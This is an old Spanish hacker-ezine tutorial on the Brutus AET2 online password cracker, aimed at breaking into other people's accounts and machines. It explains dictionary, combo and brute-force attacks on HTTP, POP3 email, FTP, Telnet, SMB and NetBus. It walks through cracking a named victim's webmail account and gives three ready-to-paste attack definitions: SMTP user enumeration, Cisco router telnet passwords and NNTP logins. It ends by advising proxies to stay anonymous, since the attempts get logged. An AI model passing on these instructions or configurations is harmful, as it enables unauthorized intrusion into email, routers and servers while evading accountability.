/***********************\
*****|*Brutus - AET2 - by Rah3*|*****
\***********************/
Hola a todos voy a hablaros de un programa con el q deberiais
familiarizaros, ya q resulta de mucha utilidad en muchas ocasiones.
Podemos definir el Brutus como un crackeador de passwords remoto
on-line, es rapido admite hasta 60 conexiones simultaneas (cuidado con esto
que puedes tirar abajo algun servicio), puede llegar 2500 palabras por segundo
<< con dialup ni de coña, no es bueno excederse en esto casi regula las
conexiones segun tu linea y la calidad de respuesta que te de el servidor.
Haber empecemos con lo q interesa, lo primero q haremos sera descargar
el brutus http:/www.hoobie.net/brutus, bien estas son sus
caracterisiticas:
Podemos utilizar el brutus para sacar passwords:
HTTP (Autentificacion basica)
HTTP (HTLM Form/CGI)
POP3
FTP
SMB (netBIOS)
TELNET
NETBUS
Y a parte podemos configurarlo para petar un servicio q configuremos
nosotros mismos como smtp, nntpd etc
entre sus caracteristicas cabe destacar la posibilidar de usar un proxy
sock(v4) sock(v4.1) y sock(5), puedes encontrar proxies en
http://www.cyberarmy.com/lists/proxy/ a veces muchos servicios
Tambien dispone de un generador de diccionarios bastante completo, en Tools >>
Wordlist Generator, veamos las opciones que tiene:
Convert list (LF>CRLF) - convierte una lista de palabras en formato unix a formato
dos cambiando los saltos de linea, para usarlo selecionaremos la lista en estilo
unix en input list y en output list el nombre de la lista de salida q keremos.
Only word length - con esta opcion lo q hacemos es coger de una lista
de palabras las q keramos en funcion de su longitud definiremos el
numero de caracteres en word lenght y selecionaremos la lista q keremos
en input list y la de salida en output
Remove duplicates - esta opcion lo q hace es copiar la lista de entrada
a la q keramos eliminando las palabras duplicadas.
Permutations - esta opcion realiza cualkier tipo de permutaciones sobre
una determinada lista de palabras añadiendo mayusculas minusculas
invirtiendo la palabra... solo es usar la permutacion q mas nos
interese.
Create new list - con esta opcion ya no necesitamos una lista de entrada
simplemente crearemos una con los parametros q keramos donde definiremos
el numero de caracteres y las permutaciones como en el apartado anterior
ademas tenemos la opcion de seed word q lo q hace es q nosotros añadimos
unas palabras y vea la lista utilizando esos caracteres.
Create new list for user - aki crearemos una nueva lista en la ke ademas
podremos poner un nombre de usuario del cual partira el programa
Create new list for users - esta es igual q la anterior pero podemos
selecionar una lista q tengamos con usuarios en input list para q cree
la lista en base a esos users.
Podemos utilizar varios metodos de autentificacion tanto para el modo de
password como para el modo de usuario:
En Authentication Options: El modo de identificacion del usuario siempre es el
mismo para todos los metodos de ataque que explicaremos detenidamente, hay dos
modos como podras observar "Use Username" el cual usa un diccionario y va
probando uno a uno, o "Single User" que sirve para usar un solo login, el de
la victima y con ese login probara todos los pass mediante los metodos que
vamos a ver ahora.
NOTA: He visto el diccionario de users.txt es pequeñito aqui os lo planto
Admin
administrator
test
guest
root
backup
Bueno respecto a servicios ftp estos nombres de usuarios y alguno mas se les
deniega el acceso como login , bueno esto esta en /etc/ftpusers en un proftp,
pero asi suele venir en muchos servicios ftp segun los instalas
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
nobody
Este archivo puede modificarse, simplemente con añadir + usuarios a quien
deniegen el acceso y todo depende de quien lo administre, bueno ahora veamos
lo distintos modos de ataque
Para usar distintos metodos de ataque solo tienes que seleccionar en "Pass
Mode" y coger el ataque que mas te convenga
Word list "Ataque por diccionario": No pienses que estamos hablando de el
larouse, si no de una simple lista de palabras, que nos pueden ahorrar trabajo
a diferencia de otros metodos como el brute force ,. para seleccionar el
diccionario solo tienes que ir a Browse y escogerlo
Combo list: Para este tipo de ataque tambien se necesita un diccionario, si
la diferencia con el de arriba es que combinan las palabras del diccionario
separadas por ":" "_", ej guest:password ver example-combo.txt
Brute force "Ataque por fuerza bruta", este ataque trata de sacar el pass
mediante conbinaciones de "letras, numeros, caracteres especiales" esto
pueder personalizarlo he incluso limitar el numero de caracteres, cuando
seleccionas este metodo aparece el boton "Range" cuando calcas este se abre un
menu "Brute Force Generation", en el cual hay varias opciones:
Digits Only: Solo numeros
Lowercase Alpha: Solo minusculas
Uppercase Alpha: Solo mayusculas
Mixed Alpha: combinacion de mayusculas y minusculas
Alphanumeric: abcd....z
Full Keyspace: Prueba con espacios por ej: Pepe 12
Custom Range: Ahi puedes meter los caracteres que quieras
Min Length: Seleccionas el numero de caracteres minimo que podra tener el pass
Max Length : Aqui seleccionas el numero de caracteres maximo que comprobara
Eleccion de servicio a atacar:
Las 2 primeras opciones HTTP se utilizan para entrar en esas paginas q
al intentar acceder nos sale una ventana pidiendo login y pass
utilizaremos uno u otro dependiendo del tipo de autentificacion q
rekiera dicha web lo comprobaremos probando con ambos tipos., las HTTP "CGI
application authentication" son las que usan programas CGIs, para
autentificarse, (podeis mirar el articulo de Problemas con los CGIs de NORTH
que comenta un poco que son los cgis etc). Para utilizarlos no hay mas q poner
en target por ej
www.victima.com o victima.com y seleccionar en
autentifications options use username y pass mode el metodo ke mas nos
convenga como norma general usaremos en este tipo de webs un dicionario del
idioma en el ke este dicha web. Esto es util sobre todo para esas webs xxx en
las q rekieren ser socio para entrar claro esta q no sacaremos nada util de
ellas unke estareis un rato entretenidos xDD.
POP3 bueno esto ya es algo mas interesante usaremos esta opcion para
petar cuentas de correo de servidores q tenga pop3 activo.
Selecionamos POP3 y en target escribimos POP3.victima.com por ejemplo:
(pop3.terra.es) o en su caso la ip, en autentification options
marcamos use username y single user, y escribiremos en la casilla de
userid victima.terra.es si la cuenta de la victima es
(
victima@terra.es). Lo escribiremos con punto(.) no arroba(@) y de
nuevo usaremos el modo de pass q mas nos interese ya sea dicc, combo o
brute force.
Bueno pasemos al ftp aunke como vereis la rutina es parecida en todos
los tipos rekieren pekeñas variaciones en cada uno de ellos. En este
caso nos convendra tener un nombre de usuario del ke trataremos de
sacar el pass aunke tb podemos buscar nombres de usuario al azar lo
cual logicamente nos llevara mucho tiempo. Selecionamos type ftp y si
tenemos un nombre de usuario marcaremos use username y single user
escribiremos el nombre de usuario por ej: pardillo y selecionaremos el
metodo dicc, combo... si no tenemos nombre de usuario selecionamos un
diccionario y marcamos solo la casilla use username.
TELNET pues es facil lo haremos igual q con un ftp pero selecionando
type telnet claro esta .
SMB (netBIOS) bueno aki tenemos otro servicio del cual tb podemos
sacar provecho usando el brutus si es q esta protegido, cuanta gente piensa
que este servicio lo dan solo maquinas con win lo habre oido mil veces, "naa
tio es un win tiene el 139 abierto" ,cuando hablamos de SMB"Server Message
Block"SMB es un protocolo idea de IBM mientras desarrollaban un sistema basico
de E/S para LANS, que luego se llamo NetBIOS, sobre el que luego IBM
implemento una interfad mejorada de usuario, llamada NetBEUI. NetBIOS se
puede transportar sobre diferentes protocolos de red: NetBEUI, IPX/SPX y
TCP/IP, etc. tb se pueden ofrecer este servicio en otros sistemas unices,
OS/2, BeOS etc, la unica cosa q tendremos q tener en cuenta a la hora de
realizar nuestro atake, en target escribimos la ip de la victima selecionamos
type SMB(netBIOS) y ahora en SMB options si se trata de una makina NT
escribiremos el nombre del dominio si es solo un pc con win2 9x no
marcaremos esta opcion, a continuacion en autentificacion options ya
sabeis selecionaremos use username y el modo de pass q mas nos
convenga.
NETBUS he aki otra utilidad por si olvidamos el pass de alguna victima
de netbus o simplemente keremos entrar en alguna q hemos encontrao y
esta protegida con pass. Si conoceis este troyano sabreis q cuando lo
proteges con pass para entrar solo se rekiere el pass no el login, por
eso al selecionar type netbus no podemos selecionar en
autentifications options la opcion de use username o single user si no
q solo podemos selecionar la opcion de pass (dicc, combo list ...)
pues eso haremos lo cual no tiene mayor complicacion.
Ya hemos visto los types q trae el brutus de serie pero no nos vamos a
kedar ahi, tb podemos crear nuevos types es decir preparar el brutus
para q se conecte a un determinado servicio usando unas determinadanas
instruciones q pondremos en el archivo q hagamos.
Ahora os voy a poner un ejemplo de como preparar nuevos types vamos a
ver uno para (smtp_verificacion_d
e_usuario), en la web oficial podeis
encontrar alguno, te preguntaras como se hacen pues simplemente viendo como
verifica el servicio el nombre del usuario y la pass, o en algunos casos solo
las pass , para ello puedes ayudarte un sniffer, netcat o cualquier cliente de
telnet ya hablaremos de estas utilidades o utilidades parecidas en siguientes
ezines.
Seria asi:
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=25
UseUserID=0
userprompt=login
passprompt=passwd
RespString=
HTTPRequestType=POST
useHTTPKeepAlive=1
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryResponseIs
Positive=0
maSecondaryResponse
IsPositive=0
maPrimaryResponseAc
tion=13
maSecondaryResponse
Action=13
maUserPrefix=""
maUserPostfix=""
maPassPrefix="VRFY "
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues
1=
maauthStageStrings2="220"
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues
2=
maauthStageStrings3="HELO ."
maauthReadLength3=1
maauthSendPostfix3=CR+LF
HTTPFormFields3=
HTTPFormFieldValues
3=
maauthStageStrings4=""
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues
4=
maauthStageStrings5=""
maauthReadLength5=1
maauthSendPostfix5=None
HTTPFormFields5=
HTTPFormFieldValues
5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues
6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues
7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues
8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues
9=
maauthStageStrings1
0=""
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues
10=
maauthStageStrings1
1=""
maauthReadLength11=1
maauthSendPostfix11=None
HTTPFormFields11=
HTTPFormFieldValues
11=
maauthStageStrings1
2="250"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues
12=
maauthStageStrings1
3=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues
13=
maauthStageStrings1
4="550"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues
14=
maauthStageStrings1
5="252"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues
15=
maauthStageStrings1
6=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues
16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Para utilizar este codigo crearemos un archivo bad pegaremos en el el
codigo y lo guardamos con el nombre q keramos por ej: smtp_b_auth.bad una
vez guardado solo hay que ir a File > Import Service y seleccionar el type,
estos types los puedes configurar en Modify Sequence tb, ahi puedes cambiarlo
a tu gusto el metodo o la forma de autentificacion, tiempo de espera etc ,
lo guardas con la configuracion que tu quieras en File > Export Service.
Este type lo ke hace es utilizar el comado VRFY "verify" (utilizado para
verificar el nombre del usuario) q aunke suele estar desactivado en muchos
server debido a que puede revelar informacion tambien otro comando que puede
revelar informacion es EXPN (expand) sirve para indicar como se va a resolver
la dirección de correo del RCPT que le indiquemos, aunque sea antiguo todavia
hay algunos en los que no lo esta desactivado y lo que nos permitira es
comprobar utilizando una lista o dicc de users comprobar cuales estan
utlizados o no.
Veamos otro para atakar el password en un router CISCO
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=23
UseUserID=0
userprompt=
passprompt=
RespString=
HTTPRequestType=GET
useHTTPKeepAlive=1
posResponse=0
IsTelnet=1
IsHTTP=0
IsSMB=0
maPrimaryResponseIs
Positive=0
maSecondaryResponse
IsPositive=0
maPrimaryResponseAc
tion=13
maSecondaryResponse
Action=5
maUserPrefix=""
maUserPostfix=""
maPassPrefix=""
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues
1=
maauthStageStrings2="Password:"
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues
2=
maauthStageStrings3="cisco"
maauthReadLength3=1
maauthSendPostfix3=CR+LF
HTTPFormFields3=
HTTPFormFieldValues
3=
maauthStageStrings4=">"
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues
4=
maauthStageStrings5="enable"
maauthReadLength5=1
maauthSendPostfix5=CR+LF
HTTPFormFields5=
HTTPFormFieldValues
5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues
6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues
7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues
8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues
9=
maauthStageStrings1
0=""
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues
10=
maauthStageStrings1
1=""
maauthReadLength11=1
maauthSendPostfix11=None
HTTPFormFields11=
HTTPFormFieldValues
11=
maauthStageStrings1
2="Password:"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues
12=
maauthStageStrings1
3=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues
13=
maauthStageStrings1
4="Password:"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues
14=
maauthStageStrings1
5="% Bad passwords"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues
15=
maauthStageStrings1
6=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues
16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Veamos otro mas para atakar el metodo de autentificacion q usan los servidores
que proporcionan servicios nntpd "Network News Transfer Protocol" como podras
observar en el codigo usa el puerto 119
\/----------------------empieza_codigo----copiar_desde_aki--------\/
[Brutus Application Definition]
Version=AET2
Target=
Port=119
UseUserID=1
userprompt=
passprompt=
RespString=
HTTPRequestType=POST
useHTTPKeepAlive=0
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryResponseIs
Positive=0
maSecondaryResponse
IsPositive=1
maPrimaryResponseAc
tion=0
maSecondaryResponse
Action=0
maUserPrefix="AUTHINFO USER "
maUserPostfix=""
maPassPrefix="AUTHINFO PASS "
maPassPostfix=""
maUsePreAuth=0
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues
1=
maauthStageStrings2=""
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues
2=
maauthStageStrings3=""
maauthReadLength3=1
maauthSendPostfix3=None
HTTPFormFields3=
HTTPFormFieldValues
3=
maauthStageStrings4=""
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues
4=
maauthStageStrings5=""
maauthReadLength5=1
maauthSendPostfix5=None
HTTPFormFields5=
HTTPFormFieldValues
5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues
6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues
7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues
8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues
9=
maauthStageStrings1
0="200"
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues
10=
maauthStageStrings1
1=""
maauthReadLength11=1
maauthSendPostfix11=CR+LF
HTTPFormFields11=
HTTPFormFieldValues
11=
maauthStageStrings1
2="381"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues
12=
maauthStageStrings1
3=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues
13=
maauthStageStrings1
4="502"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues
14=
maauthStageStrings1
5="281"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues
15=
maauthStageStrings1
6=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues
16=
/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\
Kiero recomendaros q siempre q engacheis el brutus a alguna victima no
lo hagais directamente recomiendo q useis un proxy, o cualkier otro
metodo para mantener el anonimato pq todos los intentos q hagais
kedaran logeados.
Bueno creo q no me dejo nd espero q os resulte util esta explicaion y
si no pos a joderse xDD.
Podeis reanudar vuestro "ataque": el brutus guarda el utlimo ataque en
autosave.bru, puedes reanudarlo solo con ir a File > Load Session, asi como
guardar tus ataques en Save Session con el nombrequequieras.br
u
Para cualkier duda preguntar por mail con asunto "Rah3" a esta direcion